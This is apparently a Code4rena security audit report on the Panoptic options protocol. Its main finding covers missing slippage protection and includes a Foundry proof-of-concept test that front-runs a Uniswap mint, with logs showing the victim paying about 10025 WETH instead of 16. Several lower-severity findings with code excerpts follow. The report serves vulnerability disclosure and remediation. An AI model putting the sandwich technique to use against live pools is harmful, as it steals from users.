Panoptic - Dup1337's results

Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/SemiFungiblePositionManager.sol#L1203-L1209 https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/SemiFungiblePositionManager.sol#L788-L850 https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/PanopticFactory.sol#L341-L410

Vulnerability details

There are multiple places where Panoptic does not protect against slippage and uses spot price (e.g. reading price from slot0). We identified 3 most severe cases that impact users and allow for huge losses for the protocol users:

Case 1

When position is created, either via PanopticPool or via SFPM, UniswapPool.mint() is called. It is a lo level function, that usually should be called via periphery contracts and verify if user liquidity was added with the amount expected. However in case of Panoptic there is no protection against that, because user passes only "liquidity" that will be minted and then UniswapPool calculated how much erc20 to get from user, but this amount is highly manipulable. The code in Panoptic:

    function _mintLiquidity(
        LiquidityChunk liquidityChunk,
        IUniswapV3Pool univ3pool
    ) internal returns (LeftRightSigned movedAmounts) {
        // [...]
        (uint256 amount0, uint256 amount1) = univ3pool.mint(
            address(this),
            liquidityChunk.tickLower(),
            liquidityChunk.tickUpper(),
            liquidityChunk.liquidity(),
            mintdata
        );

//[...]
    function uniswapV3MintCallback(
        uint256 amount0Owed,
        uint256 amount1Owed,
        bytes calldata data
    ) external {
        // Decode the mint callback data
        CallbackLib.CallbackData memory decoded = abi.decode(data, (CallbackLib.CallbackData));
        // Validate caller to ensure we got called from the AMM pool
        CallbackLib.validateCallback(msg.sender, FACTORY, decoded.poolFeatures);
        // Sends the amount0Owed and amount1Owed quantities provided
        if (amount0Owed > 0)
            SafeTransferLib.safeTransferFrom(
                decoded.poolFeatures.token0,
                decoded.payer,
                msg.sender,
                amount0Owed
            );
        if (amount1Owed > 0)
            SafeTransferLib.safeTransferFrom(
                decoded.poolFeatures.token1,
                decoded.payer,
                msg.sender,
                amount1Owed
            );
    }

In case of Uniswap, mint funciton looks like this:

    function mint(
        address recipient,
        int24 tickLower,
        int24 tickUpper,
        uint128 amount,
        bytes calldata data
    ) external override lock returns (uint256 amount0, uint256 amount1) {
        require(amount > 0);
        (, int256 amount0Int, int256 amount1Int) =
            _modifyPosition(
                ModifyPositionParams({
                    owner: recipient,
                    tickLower: tickLower,
                    tickUpper: tickUpper,
                    liquidityDelta: int256(amount).toInt128()
                })
            );

        amount0 = uint256(amount0Int);
        amount1 = uint256(amount1Int);

        uint256 balance0Before;
        uint256 balance1Before;
        if (amount0 > 0) balance0Before = balance0();
        if (amount1 > 0) balance1Before = balance1();
        IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);

function _modifyPosition() is a bit complex, but you can see there that the amount that will be taken from user is dependent on current asset price and square root at given tick:

                amount0 = SqrtPriceMath.getAmount0Delta(
                    TickMath.getSqrtRatioAtTick(params.tickLower),
                    TickMath.getSqrtRatioAtTick(params.tickUpper),
                    params.liquidityDelta
                );
            } else if (_slot0.tick < params.tickUpper) {
                // current tick is inside the passed range
                uint128 liquidityBefore = liquidity; // SLOAD for gas optimization

                // write an oracle entry
                (slot0.observationIndex, slot0.observationCardinality) = observations.write(
                    _slot0.observationIndex,
                    _blockTimestamp(),
                    _slot0.tick,
                    liquidityBefore,
                    _slot0.observationCardinality,
                    _slot0.observationCardinalityNext
                );

                amount0 = SqrtPriceMath.getAmount0Delta(
                    _slot0.sqrtPriceX96,
                    TickMath.getSqrtRatioAtTick(params.tickUpper),
                    params.liquidityDelta
                );
                amount1 = SqrtPriceMath.getAmount1Delta(
                    TickMath.getSqrtRatioAtTick(params.tickLower),
                    _slot0.sqrtPriceX96,
                    params.liquidityDelta
                );

                liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);
            } else {
                // current tick is above the passed range; liquidity can only become in range by crossing from right to
                // left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it
                amount1 = SqrtPriceMath.getAmount1Delta(
                    TickMath.getSqrtRatioAtTick(params.tickLower),
                    TickMath.getSqrtRatioAtTick(params.tickUpper),
                    params.liquidityDelta
                );

According to Uniswap docs

The amount of token0/token1 due depends on tickLower, tickUpper, the amount of liquidity, and the current price.

Case 2

When creating a position, it's possible to have optional swap, in case that the position is created in the money, meaning that the position consists partly of token0 and partly of token1. Then, if user passes min tick above max tick, swap is performed. However, the swap doesn't have any slippage protection, even though it's possible to manipulate the pool before hand. Slippage in this case is hardcoded either to MIN_V3POOL_SQRT_RATIO or MAX_V3POOL_SQRT_RATIO, depending on swap direction:

    function swapInAMM(
        IUniswapV3Pool univ3pool,
        LeftRightSigned itmAmounts
    ) internal returns (LeftRightSigned totalSwapped) {
//[...]
            // swap tokens in the Uniswap pool
            // @dev note this triggers our swap callback function
            (int256 swap0, int256 swap1) = _univ3pool.swap(
                msg.sender,
                zeroForOne,
                swapAmount,
                zeroForOne
                    ? Constants.MIN_V3POOL_SQRT_RATIO + 1 // @audit there's no protection, even though the user places min and max tick, from which sqrt ratio is calculated
                    : Constants.MAX_V3POOL_SQRT_RATIO - 1,
                data
            );

Case 3

When deploying new pool, user is obligated to mint full range liquidity. It also uses slot0 and no slippage protection:

    function _mintFullRange(
        IUniswapV3Pool v3Pool,
        address token0,
        address token1,
        uint24 fee
    ) internal returns (uint256, uint256) {
        (uint160 currentSqrtPriceX96, , , , , , ) = v3Pool.slot0();
// [...]
        uint128 fullRangeLiquidity;
// [...]
            } else {
                // Find the resulting liquidity for providing 1e6 of both tokens
                uint128 liquidity0 = uint128(
                    Math.mulDiv96RoundingUp(FULL_RANGE_LIQUIDITY_AMOUNT_TOKEN, currentSqrtPriceX96)
                );
                uint128 liquidity1 = uint128(
                    Math.mulDivRoundingUp(
                        FULL_RANGE_LIQUIDITY_AMOUNT_TOKEN,
                        Constants.FP96,
                        currentSqrtPriceX96
                    )
                );

                // Pick the greater of the liquidities - i.e the more "expensive" option
                // This ensures that the liquidity added is sufficiently large
                fullRangeLiquidity = liquidity0 > liquidity1 ? liquidity0 : liquidity1; // @audit user can sandwich this transaction and make user pay any amount that user approves, leading to unlimited losses
// [...]
        return
            IUniswapV3Pool(v3Pool).mint(
                address(this),
                tickLower,
                tickUpper,
                fullRangeLiquidity, // @audit liquidity is based on slot0, which is highly manipulable
                mintCallback
            );

Impact

Stealing from users due to lack of slippage protection

Proof of Concept

The following test shows how the same mint behaves for situation where there is no frontrunning, then state is reverted and second case is shown - this time with frontrunning. This shows Case 1 described above, however other cases work similarly. Add following to SemiFungiblePositionManager.t.sol:

    function uniswapV3SwapCallback(
        int256 amount0Delta,
        int256 amount1Delta,
        bytes calldata data
    ) external {
        // Decode the swap callback data, checks that the UniswapV3Pool has the correct address.
        CallbackLib.CallbackData memory decoded = abi.decode(data, (CallbackLib.CallbackData));

        // Extract the address of the token to be sent (amount0 -> token0, amount1 -> token1)
        address token = amount0Delta > 0
            ? address(decoded.poolFeatures.token0)
            : address(decoded.poolFeatures.token1);

        // Transform the amount to pay to uint256 (take positive one from amount0 and amount1)
        // the pool will always pass one delta with a positive sign and one with a negative sign or zero,
        // so this logic always picks the correct delta to pay
        uint256 amountToPay = amount0Delta > 0 ? uint256(amount0Delta) : uint256(amount1Delta);

        // Pay the required token from the payer to the caller of this contract

        // Transform the amount to pay to uint256 (take positive one from amount0 and amount1)
        // the pool will always pass one delta with a positive sign and one with a negative sign or zero,
        deal(token, address(this), type(uint128).max);

        SafeTransferLib.safeTransferFrom(token, address(this), msg.sender, amountToPay);
    }

    function test_del_Success_mintTokenizedPosition_InRangeShortPutNoSwap(
    ) public {
        uint256 x = 1;
        uint256 widthSeed = 5;
        int256 strikeSeed = 5;
        uint256 positionSizeSeed = 1e4;
        _initPool(x);

        (int24 width, int24 strike) = PositionUtils.getInRangeSW(
            widthSeed,
            strikeSeed,
            uint24(tickSpacing),
            currentTick
        );

        populatePositionData(width, strike, positionSizeSeed);

        /// position size is denominated in the opposite of asset, so we do it in the token that is not WETH
        TokenId tokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(
            0,
            1,
            isWETH,
            0,
            1,
            0,
            strike,
            width
        );
        
        uint256 poolLiquidity = IERC20(WETH).balanceOf(address(pool));
        console.log("Pool liquidity ", poolLiquidity);
        uint256 snapshot = vm.snapshot();

        console.log("===== TEST WITHOUT FRONTRUNNING =====");
        _swapAlice(tokenId, positionSize);

        vm.revertTo(snapshot);

        vm.stopPrank();

        console.log("===== TEST INCLUDING FRONTRUNNING =====");
        bytes memory data;
        data = abi.encode(
            CallbackLib.CallbackData({
                poolFeatures: CallbackLib.PoolFeatures({
                    token0: pool.token0(),
                    token1: pool.token1(),
                    fee: pool.fee()
                }),
                payer: msg.sender
            })
        );

        bool zeroforone = false;
        (int256 swap0, int256 swap1) = pool.swap(
            address(this),
            zeroforone,
            int256(1e18 * 2000), // exchange to 1000 ETH
            // int256(poolLiquidity * 80 / 100), // exchange to 1000 ETH
            zeroforone
                ? Constants.MIN_V3POOL_SQRT_RATIO + 1
                : Constants.MAX_V3POOL_SQRT_RATIO - 1,
                data
        );

        if (swap0 < 0) {
            console.log("swapped %s to %s", uint256(-swap0), uint256(swap1));
        } else {
            console.log("swapped %s to %s", uint256(swap0), uint256(-swap1));
        }

        _swapAlice(tokenId, positionSize);
    }

    function _swapAlice(TokenId tokenId, uint256 positionSize) internal {
        vm.startPrank(Alice); // return to alice pranked in _initWorld
        uint balanceBefore = IERC20(WETH).balanceOf(Alice);
        console.log("Weth balance before ", balanceBefore);
        (LeftRightUnsigned[4] memory collectedByLeg, LeftRightSigned totalSwapped) = sfpm
            .mintTokenizedPosition(
                tokenId,
                uint128(positionSize),
                TickMath.MIN_TICK,
                TickMath.MAX_TICK
            );

        uint balanceAfter = IERC20(WETH).balanceOf(Alice);
        console.log("Weth balance after ", balanceAfter);
        console.log("Weth balance difference ", balanceBefore - balanceAfter);
        console.log("Weth balance difference in ETH ", (balanceBefore - balanceAfter) / 1e18);
        assertEq(
            LeftRightUnsigned.unwrap(collectedByLeg[0]) +
                LeftRightUnsigned.unwrap(collectedByLeg[1]) +
                LeftRightUnsigned.unwrap(collectedByLeg[2]) +
                LeftRightUnsigned.unwrap(collectedByLeg[3]),
            0
        );
    }

Additionally, adding import "forge-std/Test.sol"; at the beggining might be required.

Test results will differ based on the current block of test simulation, at the time of running this tests, the results where following:

Running 1 test for test/foundry/core/SemiFungiblePositionManager.t.sol:SemiFungiblePositionManagerTest
[PASS] test_del_Success_mintTokenizedPosition_InRangeShortPutNoSwap() (gas: 2466717)
Logs:
  Bound Result 1
  Bound Result 5
  Bound result 19595
  Bound Result 9999999000000000010001
  Pool liquidity  29353774157942939218264
  ===== TEST WITHOUT FRONTRUNNING =====
  Weth balance before  340282366920938463463374607431768211455
  In Uni mint callback. Owed 30943253459386 & 16740252871610652754
  minted amounts 30943253459386 : 16740252871610652754
  Weth balance after  340282366920938463446634354560157558701
  Weth balance difference  16740252871610652754
  Weth balance difference in ETH  16
  ===== TEST INCLUDING FRONTRUNNING =====
  swapped 6131292561835 to 2000000000000000000000
  Weth balance before  340282366920938463463374607431768211455
  In Uni mint callback. Owed 0 & 10025029020509401692180
  minted amounts 0 : 10025029020509401692180
  Weth balance after  340282366920938453438345586922366519275
  Weth balance difference  10025029020509401692180
  Weth balance difference in ETH  10025

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.99s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

The results show that in one case user paid 16 WETH, in the other 10025, meaning that we were able to seriously manipulate the price of the asset, leading to serious user loss.

Tools Used

Manual Review

Recommended Mitigation Steps

Please introduce proper slippage protection. Generalized MEV bots are very sophisticated, and without any adjustments will be able to exploit unprotected swap sin UniswapV3 pools.

Assessed type

MEV

[L-01] Pool deployer might be suffered due to excess gas consumption on mainnet

When the user deploys a panoptic pool via the factory contract, the requirements are that the uniV3 pool should exist and initialized:

Contract: PanopticFactory.sol

227:         IUniswapV3Pool v3Pool = IUniswapV3Pool(UNIV3_FACTORY.getPool(token0, token1, fee));
228:         if (address(v3Pool) == address(0)) revert Errors.UniswapPoolNotInitialized();
229: 
230:         if (address(s_getPanopticPool[v3Pool]) != address(0))
231:             revert Errors.PoolAlreadyInitialized();

And later on the cardinality is increased to 100:

Contract: PanopticFactory.sol

259:         v3Pool.increaseObservationCardinalityNext(CARDINALITY_INCREASE); 

But this pattern might not be the best for the deployer when the UniV3 pool remained at the cardinality 1, due to UniV3 pools have a default cardinality of 1 at deployment So the panoptic pool deployer will need to iterate it 99 times to make it 100 if it remained default:

Contract: UniswapV3Pool.sol

254:     function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
255:         external
256:         override
257:         lock
258:         noDelegateCall
259:     {
260:         uint16 observationCardinalityNextOld = slot0.observationCardinalityNext; // for the event
261:         uint16 observationCardinalityNextNew = observations.grow(
262:             observationCardinalityNextOld,
263:             observationCardinalityNext
264:         );
265:         slot0.observationCardinalityNext = observationCardinalityNextNew;
266:         if (observationCardinalityNextOld != observationCardinalityNextNew)
267:             emit IncreaseObservationCardinalityNext(observationCardinalityNextOld, observationCardinalityNextNew);
268:     }
269: 

and the iteration part :

Contract: Oracle.sol

115:     function grow(
116:         Observation[65535] storage self,
117:         uint16 current,
118:         uint16 next
119:     ) internal returns (uint16) {
120:         unchecked {
121:             if (current <= 0) revert I();
122:             // no-op if the passed next value isn't greater than the current next value
123:             if (next <= current) return current;
124:             // store in each slot to prevent fresh SSTOREs in swaps
125:             // this data will not be used because the initialized boolean is still false
126:             for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;
127:             return next;
128:         }
129:     }

and here´s the uniV3 initialize function returning default cardinality and cardinalitynext for reference

Contract: Oracle.sol

57:     function initialize(Observation[65535] storage self, uint32 time)
58:         internal
59:         returns (uint16 cardinality, uint16 cardinalityNext)
60:     {
61:         self[0] = Observation({
62:             blockTimestamp: time,
63:             tickCumulative: 0,
64:             secondsPerLiquidityCumulativeX128: 0,
65:             initialized: true
66:         });
67:         return (1, 1); @audit DEFAULT VALUES HERE
68:     }

[L-02] assertPriceWithinBounds doesn´t validate the bounds

The assertPriceWithinBounds function is actually made for Multicall. As per the NATSPEC it´s used for reverting the call if current Uniswap price is not within the provided bounds with the additional notice to dev as :

Contract: PanopticPool.sol

334:     /// @dev Can be used for composable slippage checks with `multicall` (such as for a force exercise or liquidation)
335:     /// @dev Can also be used for more granular subtick precision on slippage checks

The function is as below:

Contract: PanopticPool.sol

338:     function assertPriceWithinBounds(uint160 sqrtLowerBound, uint160 sqrtUpperBound) external view {
339:         (uint160 currentSqrtPriceX96, , , , , , ) = s_univ3pool.slot0();
340: 
341:         if (currentSqrtPriceX96 <= sqrtLowerBound || currentSqrtPriceX96 >= sqrtUpperBound) { 
342:             revert Errors.PriceBoundFail();
343:         }
344:     }

However, it reverts even when the bounds are equal to current price. This can endanger a liquidation or a forceExercise call when the current tick actually corresponds to the SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) which means that it can´t be exercisable while it can. We believe a further validation of current tick corresponding the price should be carried out and the function could be reverted accordingly.

[L-03] No possibility to liquidate big positions of esoteric tokens

Liquidations currently work in a fashion, that liquidator has to provide the missing liquidity for the user in order for the liquidatee to have enough balance to close off liquidated positions. Then, the positions are closed off and liquidator received back what they provided + liquidation incentive.

However, in case of markets with smaller liquidity, it may pose risk, that the liquidator is not able to get enough funds, even via flashloans, to cover liquidatable position losses upfront before receiving the capital back after the liquidations. In such cases, some big positions could not be liquidated, leading to huge losses for PLPs (Panoptic Liquidity Providers)

We believe that, the positions could be limited not to be holding a greater value of the limit same like maxBalance.

[L-04] Validated bounds are not exlusive at _validateAndForwardToAMM

_validateAndForwardToAMM function checks the proposed option position and size and forwards the minting and potential swapping tasks. Accordingly it takes inputs of tickLimitLow for lower limits on potential slippage, tickLimitHigh for upper limits on potential slippage.

Contract: SemiFungiblePositionManager.sol

680:     function _validateAndForwardToAMM(
681:         TokenId tokenId,
682:         uint128 positionSize,
683:         int24 tickLimitLow,
684:         int24 tickLimitHigh,
685:         bool isBurn
686:     ) internal returns (LeftRightUnsigned[4] memory collectedByLeg, LeftRightSigned totalMoved) {
687:         // Reverts if positionSize is 0 and user did not own the position before minting/burning
688:         if (positionSize == 0) revert Errors.OptionsBalanceZero();
689: 
690:         /// @dev the flipToBurnToken() function flips the isLong bits
691:         if (isBurn) {
692:             tokenId = tokenId.flipToBurnToken();
693:         }
694: 
695:         // Validate tokenId
696:         tokenId.validate(); 
697: 
698:         // Extract univ3pool from the poolId map to Uniswap Pool
699:         IUniswapV3Pool univ3pool = s_poolContext[tokenId.poolId()].pool;
700: 
701:         // Revert if the pool not been previously initialized
702:         if (univ3pool == IUniswapV3Pool(address(0))) revert Errors.UniswapPoolNotInitialized();
703: 
704:         // initialize some variables returned by the _createPositionInAMM function
705:         LeftRightSigned itmAmounts;
706: 
707:         // calls a function that loops through each leg of tokenId and mints/burns liquidity in Uni v3 pool
708:         (totalMoved, collectedByLeg, itmAmounts) = _createPositionInAMM(
709:             univ3pool,
710:             tokenId,
711:             positionSize,
712:             isBurn
713:         );
714: 
715:         if (tickLimitLow > tickLimitHigh) {
716:             // if the in-the-money amount is not zero (i.e. positions were minted ITM) and the user did provide tick limits LOW > HIGH, then swap necessary amounts
717:             if ((LeftRightSigned.unwrap(itmAmounts) != 0)) {
718:                 totalMoved = swapInAMM(univ3pool, itmAmounts).add(totalMoved);
719:             }
720: 
721:             (tickLimitLow, tickLimitHigh) = (tickLimitHigh, tickLimitLow);
722:         }
723: 
724:         // Get the current tick of the Uniswap pool, check slippage
725:         (, int24 currentTick, , , , , ) = univ3pool.slot0();
726: 
727:         if ((currentTick >= tickLimitHigh) || (currentTick <= tickLimitLow)) 
728:             revert Errors.PriceBoundFail();
729:     }

Line 727: checks whether the current tick touches tickLimitLow or tickLimitHigh to revert. However, this might not be a good implementation especially when the positions can actually be minted or burnt on the input prices. We recommend the implementation below:

- if ((currentTick >= tickLimitHigh) || (currentTick <= tickLimitLow)) 
+ if ((currentTick > tickLimitHigh) || (currentTick < tickLimitLow)) 

[L-05] deployNewPool function can suffer users in re-orgs at some conditions

The CollateralTracker deployment is based on create rather than create2 as in PanoptiFactory deployment:

Contract: PanopticFactory.sol

240:         // Deploy collateral token proxies
241:         CollateralTracker collateralTracker0 = CollateralTracker( 
242:             Clones.clone(COLLATERAL_REFERENCE)
243:         );
244:         CollateralTracker collateralTracker1 = CollateralTracker(
245:             Clones.clone(COLLATERAL_REFERENCE)
246:         );
247: 

So if Alice transacts her TX for ColleteralTracker.deposit() and if the chain is re-orged before her transfer, due to lagged confirmation, her funds will get lost irrecoverably. While the pool address can be derived again, the collateralTracker address can not.

We recommend exercising COLLATERAL_REFERENCE.cloneDeterministic(salt) for the collateral tracker deployment too rather than cloning the reference.

[L-06] Liquidations for depegged tokens don´t provide proper incentive

If a position is subject to be liquatted due to being undercollateralized, because of a depeg/black swan event, liquidating those and haircutting the deppegged token to the liquidator is not the right incentive due to a collapsing fund can´t be assumed as reward but a bad gift.

Contract: PanopticPool.sol

1116:             // if premium is haircut from a token that is not in protocol loss, some of the liquidation bonus will be converted into that token 
1117:             // reusing variables to save stack space; netExchanged = deltaBonus0, premia = deltaBonus1
1118:             address _liquidatee = liquidatee;
1119:             TokenId[] memory _positionIdList = positionIdList;
1120:             int24 _finalTick = finalTick;
1121:             int256 deltaBonus0;
1122:             int256 deltaBonus1;
1123:             (deltaBonus0, deltaBonus1) = PanopticMath.haircutPremia(

We recommend considering the haircut to be in stables with a further AMM Swap to challenge this.

[L-07] Seller position can be locked for extended period of time

This might be strategic risk for the protocol, however there is an option to force exercise an option, in order to unlock option seller's capital, because if you want to buy an option, someone has to sell it first. You can then force exercise the position. Malicious user can however create dozens of small positions that will make exercise impossible in this case.

As stated in the docs; Given that Panoptions are expirationless, option buyers may hold their position to perpetuity. In order to prevent option sellers from becoming locked into their position forever, option sellers (or any external party) may force exercise an option buyer's position at any time for a fee. The farther-the-money, the cheaper it is to force exercise an option position.

So forceExercise is a mitigation for a seller to save their position being locked.

Contract: PanopticPool.sol

1174: >>  /// @notice Force the exercise of a single position. Exercisor will have to pay a fee to the force exercisee.
1175:     /// @dev Will revert if: number of touchedId is larger than 1 or if user force exercises their own position
1176:     /// @param account Address of the distressed account
1177:     /// @param touchedId List of position to be force exercised. Can only contain one tokenId, written as [tokenId]
1178:     /// @param positionIdListExercisee Post-burn list of open positions in the exercisee's (account) account
1179:     /// @param positionIdListExercisor List of open positions in the exercisor's (msg.sender) account 
1180:     function forceExercise(
1181:         address account,
1182:         TokenId[] calldata touchedId,
1183:         TokenId[] calldata positionIdListExercisee,
1184:         TokenId[] calldata positionIdListExercisor
1185:     ) external {

But, in order to free their position,they'd have to force exercise buyers positions as stated at L:1174, to be able to withdraw the funds, because liquidity is moved in and out of Panoptic.

So let's say that user has sell option, but they can't withdraw it because a lot of users use his liquidity in buy options. He can force exercise them to free his capital, but when there are numerous small positions, the cost of exercising the positions will be to high.

While getting paid with the premia, it might be a nasty tradeoff for the seller.

[L-08] Premia Delta calculation are calculated incorrectly in the code

SemiFungiblePositionfmanager identifies owed premium as the beggining comment block as: s_accountPremiumOwed += feesCollected * T/N^2 * (1 - R/T + ν*R/T) (Eqn 3)

Contract: SemiFungiblePositionManager.sol

1321:     function _getPremiaDeltas(
1322:         LeftRightUnsigned currentLiquidity,
1323:         LeftRightUnsigned collectedAmounts
1324:     )
1325:         private
1326:         pure
1327:         returns (LeftRightUnsigned deltaPremiumOwed, LeftRightUnsigned deltaPremiumGross)
1328:     {
1329:         // extract liquidity values
1330:         uint256 removedLiquidity = currentLiquidity.leftSlot();
1331:         uint256 netLiquidity = currentLiquidity.rightSlot();
1332: 
1333:         // premia spread equations are graphed and documented here: https://www.desmos.com/calculator/mdeqob2m04
1334:         // explains how we get from the premium per liquidity (calculated here) to the total premia collected and the multiplier
1335:         // as well as how the value of VEGOID affects the premia
1336:         // note that the "base" premium is just a common factor shared between the owed (long) and gross (short)
1337:         // premia, and is only seperated to simplify the calculation
1338:         // (the graphed equations include this factor without separating it)
1339:         unchecked {
1340:             uint256 totalLiquidity = netLiquidity + removedLiquidity;
1341: 
1342:             uint256 premium0X64_base;
1343:             uint256 premium1X64_base;
1344: 
1345:             {
1346:                 uint128 collected0 = collectedAmounts.rightSlot();
1347:                 uint128 collected1 = collectedAmounts.leftSlot();
1348: 
1349:                 // compute the base premium as collected * total / net^2 (from Eqn 3)
1350:                 premium0X64_base = Math.mulDiv(
1351:                     collected0,
1352:                     totalLiquidity * 2 ** 64,
1353:                     netLiquidity ** 2
1354:                 );
1355:                 premium1X64_base = Math.mulDiv(
1356:                     collected1,
1357:                     totalLiquidity * 2 ** 64,
1358:                     netLiquidity ** 2
1359:                 );
1360:             }
1361: 
1362:             {
1363:                 uint128 premium0X64_owed;
1364:                 uint128 premium1X64_owed;
1365:                 {
1366:                     // compute the owed premium (from Eqn 3)
1367:                     uint256 numerator = netLiquidity + (removedLiquidity / 2 ** VEGOID);
1368: 
1369:                     premium0X64_owed = Math
1370:                         .mulDiv(premium0X64_base, numerator, totalLiquidity)
1371:                         .toUint128Capped();
1372:                     premium1X64_owed = Math
1373:                         .mulDiv(premium1X64_base, numerator, totalLiquidity)
1374:                         .toUint128Capped();
1375: 
1376:                     deltaPremiumOwed = LeftRightUnsigned
1377:                         .wrap(0)
1378:                         .toRightSlot(premium0X64_owed)
1379:                         .toLeftSlot(premium1X64_owed);
1380:                 }
1381:             }
1382: 
1383:             {
1384:                 uint128 premium0X64_gross;
1385:                 uint128 premium1X64_gross;
1386:                 {
1387:                     // compute the gross premium (from Eqn 4)

The accumulator is computed from the amount of collected fees according to:

         s_accountPremiumOwed += feesCollected * T/N^2 * (1 - R/T + ν*R/T)          (Eqn 3) 

How calcs are made in the code:

((collected * (totalLiquidity * (2**64))) / netLiquidity ** 2)* netLiquidity + (removedLiquidity / 4) / totalLiquidity

So, calculations for (1 - R/T + ν*R/T) don't match with the code.

Same for premium gross calculations:

Contract: SemiFungiblePositionManager.sol

1384:                 uint128 premium0X64_gross;
1385:                 uint128 premium1X64_gross;
1386:                 {
1387:                     // compute the gross premium (from Eqn 4)
1388:                     uint256 numerator = totalLiquidity ** 2 -
1389:                         totalLiquidity *
1390:                         removedLiquidity +
1391:                         ((removedLiquidity ** 2) / 2 ** (VEGOID));
1392: 
1393:                     premium0X64_gross = Math
1394:                         .mulDiv(premium0X64_base, numerator, totalLiquidity ** 2)
1395:                         .toUint128Capped();
1396:                     premium1X64_gross = Math
1397:                         .mulDiv(premium1X64_base, numerator, totalLiquidity ** 2)
1398:                         .toUint128Capped();
1399: 
1400:                     deltaPremiumGross = LeftRightUnsigned
1401:                         .wrap(0)
1402:                         .toRightSlot(premium0X64_gross)
1403:                         .toLeftSlot(premium1X64_gross);
1404:                 }
1405:             }
1406:         }
1407:     }

Original : s_accountPremiumGross += feesCollected * T/N^2 * (1 - R/T + ν*R^2/T^2) (Eqn 4)

Code: ((collected * (totalLiquidity * (2**64))) / netLiquidity ** 2) * ( (totalLiquidity ** 2) - (totalLiquidity * removedLiquidity) + ((removedLiquidity ** 2) / 4) ) / totalLiquidity ** 2

[NC-01] Deposit and mint sizes can be circumvented

Both deposit and mint functions validate the input amount is not greater than type(uint104).max

Contract: CollateralTracker.sol

417:     function deposit(uint256 assets, address receiver) external returns (uint256 shares) {
418:         if (assets > type(uint104).max) revert Errors.DepositTooLarge();
// .....//

477:     function mint(uint256 shares, address receiver) external returns (uint256 assets) {
478:         assets = previewMint(shares);
479: 
480:         if (assets > type(uint104).max) revert Errors.DepositTooLarge();

However, if the said collaterals are of extremely cheap tokens with large decimals, the total deposit can be bypass the limit by having multiple deposits or mints. It´s also possible that a third party engaged in Panoptic can do that with a customrouter contract depositing in the name of their users.

[NC-02] No tick spacing validation

According to Panoptic docs, tick spacing should be in line with Uniswap : https://panoptic.xyz/docs/panoptic-protocol/forced-exercise#forced-exercise-cost

'Width' is characterized by the tick spacing of the underlying Uniswap pool, which differs depending on each Uniswap pool's fee tier. This is illustrated by the following relationships:

For a fee tier of 1 basis point (bp): width = 1 tick. For a fee tier of 5 basis points (bps), width = 10 ticks. For a fee tier of 30 basis points (bps), width = 60 ticks. For a fee tier of 100 basis points (bps), width = 200 ticks. Note: Uniswap v3 currently has four distinct fee tiers.

However, TokenId.validate() does not check if the tickSpacing is in any of the expected ranges. The tests assume tick spacing taken from Uniswap, e.g.:

    function _cacheWorldState(IUniswapV3Pool _pool) internal {
        pool = _pool;
        poolId = PanopticMath.getPoolId(address(_pool));
        token0 = _pool.token0();
        token1 = _pool.token1();
        isWETH = token0 == address(WETH) ? 0 : 1;
        fee = _pool.fee();
        tickSpacing = _pool.tickSpacing();
        // [...]

However, due to missing validation, user is free to pass any tickSpacing they wish, which is not tested thoroughly. Please consider adding tickSpacing tests, or strict validation.